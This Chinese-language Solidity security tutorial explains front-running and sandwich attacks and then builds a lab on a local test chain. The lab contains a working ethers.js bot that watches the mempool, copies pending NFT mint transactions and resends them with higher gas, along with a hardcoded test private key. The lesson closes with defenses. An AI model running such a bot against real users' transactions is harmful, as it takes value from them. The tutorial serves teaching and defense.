WTF Solidity 合约安全: S11. 抢先交易
我最近在重新学 Solidity，巩固一下细节，也写一个“WTF Solidity 合约安全”，供小白们使用（编程大佬可以另找教程），每周更新 1-3 讲。
所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity
这一讲，我们将介绍智能合约的抢先交易（Front-running，抢跑）。据统计，以太坊上的套利者通过三明治攻击（sandwich attack）共获利$12亿。
Front-running
传统抢跑
抢跑最初诞生于传统金融市场，是一场单纯为了利益的竞赛。在金融市场中，信息差催生了金融中介机构，他们可以通过最先了解某些行业信息并最先做出反应从而实现获利。这些攻击主要发生在股票市场交易和早期的域名注册。
2021 年 9 月，NFT 市场 OpenSea 的产品负责人 Nate Chastain，被发现通过抢先购买将在 OpenSea 首页展示的 NFT 获利。 他利用内幕信息来获得不公平的信息差，OpenSea 将要在首页推送哪些 NFT，然后在展出在首页前抢先买入，然后再在 NFT 登上首页后卖出。然而，有一个人通过将 NFT 交易时间戳与 OpenSea 上有问题的 NFT 的首页促销进行匹配，发现了这一非法行为，Nate 也被告上法院。
另一个传统抢跑的例子包括是在代币上币安/coinbase等知名交易所之前，会有得知内幕消息的老鼠仓提前买入。在上币的公告发出后，币价会大幅上涨，这时抢跑者会卖出盈利。
链上抢跑
链上抢跑指的是搜索者或矿工通过调高gas或其他方法将自己的交易安插在其他交易之前，来攫取价值。在区块链中，矿工可以通过打包、排除或重新排序他们产生的区块中的交易来获得一定的利润，而MEV是衡量这种利润的指标。
在用户的交易被矿工打包进以太坊区块链之前，大部分交易会汇集到Mempool（交易内存池）中，矿工在这里寻找费用高的交易优先打包出块，实现利益最大化。通常来说，gas price越高的交易，越容易被打包。同时，一些MEV机器人也会搜索mempool中有利可图的交易。比如，一笔在去中心化交易所中滑点设置过高的swap交易可能会被三明治攻击：通过调整gas，套利者会在这笔交易之前插一个买单，再在之后发送一个卖单，并从中盈利。这等效于哄抬市价。
抢跑实践
如果你学会了抢跑，你就算是入门的币圈科学家了。接下来，让我们实践一下，抢跑一笔铸造NFT的交易。我们将会用到的工具：
Foundry的anvil工具搭建本地测试链，请提前安装好 foundry。remix进行NFT合约的部署和铸造etherjs脚本监听mempool并进行抢跑。
1. 启动Foundry本地测试链： 在安装好 foundry 之后，在命令行输入 anvil --chain-id 1234 -b 10 搭建本地测试链，chain-id 为 1234，每 10 秒产出一个区块。搭建成功后，它会在显示一些测试账户的地址和私钥，每个账户有 10000 ETH。你可以使用它们进行测试。
2. 将Remix连接到测试链： 打开 Remix 的部署页面，打开左上角的Environment下拉菜单，选Foundry Provider即可将 Remix 连接到测试链。
3. 部署NFT合约： 在 Remix 上部署一个简单的 freemint（免费铸造）NFT合约。它有一个mint()，用于免费铸造NFT。
// SPDX-License-Identifier: MIT
// By 0xAA
pragma solidity ^0.8.21;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// 我们尝试frontrun一笔Free mint交易
contract FreeMint is ERC721 {
uint256 public totalSupply;
// 构造函数，初始化NFT合集的名称、代号
constructor() ERC721("Free Mint NFT", "FreeMint"){}
// 铸造函数
function mint() external {
_mint(msg.sender, totalSupply); // mint
totalSupply++;
}
}
4. 部署ethers.js抢跑脚本： 简单来说，frontrun.js脚本监听了测试链mempool中的未决交易，筛选出调用了mint()的交易，然后复制它并调高gas进行抢跑。如果你不熟悉ether.js，可以阅读WTF Ethers极简教程。
// provider.on("pending", listener)
import { ethers, utils } from "ethers";
// 1. 创建provider
var url = "http://127.0.0.1:8545";
const provider = new ethers.providers.WebSocketProvider(url);
let network = provider.getNetwork()
network.then(res => console.log(`[${(new Date).toLocaleTimeString()}] 连接到 chain ID ${res.chainId}`));
// 2. 创建interface对象，用于解码交易详情。
const iface = new utils.Interface([
"function mint() external",
])
// 3. 创建钱包，用于发送抢跑交易
const privateKey = '0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a'
const wallet = new ethers.Wallet(privateKey, provider)
const main = async () => {
// 4. 监听pending的mint交易，获取交易详情，然后解码。
console.log("\n4. 监听pending交易，获取txHash，并输出交易详情。")
provider.on("pending", async (txHash) => {
if (txHash) {
// 获取tx详情
let tx = await provider.getTransaction(txHash);
if (tx) {
// filter pendingTx.data
if (tx.data.indexOf(iface.getSighash("mint")) !== -1 && tx.from != wallet.address ) {
// 打印txHash
console.log(`\n[${(new Date).toLocaleTimeString()}] 监听Pending交易: ${txHash} \r`);
// 打印解码的交易详情
let parsedTx = iface.parseTransaction(tx)
console.log("pending交易详情解码：")
console.log(parsedTx);
// Input data解码
console.log("raw transaction")
console.log(tx);
// 构建抢跑tx
const txFrontrun = {
to: tx.to,
value: tx.value,
maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2,
maxFeePerGas: tx.maxFeePerGas * 1.2,
gasLimit: tx.gasLimit * 2,
data: tx.data
}
// 发送抢跑交易
var txResponse = await wallet.sendTransaction(txFrontrun)
console.log(`正在frontrun交易`)
await txResponse.wait()
console.log(`frontrun 交易成功`)
}
}
}
});
provider._websocket.on("error", async () => {
console.log(`Unable to connect to ${ep.subdomain} retrying in 3s...`);
setTimeout(init, 3000);
});
provider._websocket.on("close", async (code) => {
console.log(
`Connection lost with code ${code}! Attempting reconnect in 3s...`
);
provider._websocket.terminate();
setTimeout(init, 3000);
});
};
main()
5. 调用mint()函数： 在 Remix 的部署页面调用 Freemint 合约的mint() 函数，进行 NFT 铸造。
6. 脚本监听到交易并进行抢跑 我们可以在终端看到 frontrun.js 脚本成功监听到了交易，并进行了抢跑。如果你调用 NFT 合约的 ownerOf() 函数查看 tokenId 为 0 的持有者是抢跑脚本中的钱包地址，证明抢跑成功！。
预防方法
抢先交易是以太坊等公链上普遍存在的问题。我们没法消除它，但是可以通过减少交易顺序或时间的重要性，减少被抢先交易的收益：
- 使用预提交方案(commit-reveal scheme)。
- 使用暗池，用户发出的交易将不进入公开的
mempool，而是直接到矿工手里。例如 flashbots 和 TaiChi。 - 在调用参数中加上保护性参数，如滑点保护，从而减少抢跑者的潜在收益。
总结
这一讲，我们介绍了以太坊的抢先交易，也叫抢跑。这种起源于传统金融行业的攻击模式在区块链中更容易实施，因为所有的交易信息都是公开的。我们做了一个抢跑的时间：抢跑一笔铸造 NFT 的交易。当需要有类似的交易时，最好支持隐藏的内存池，或者实施批量拍卖等措施限制。它是以太坊等公链上普遍存在的问题，我们没法消除它，但是可以通过减少交易顺序或时间的重要性，减少被抢先交易的收益。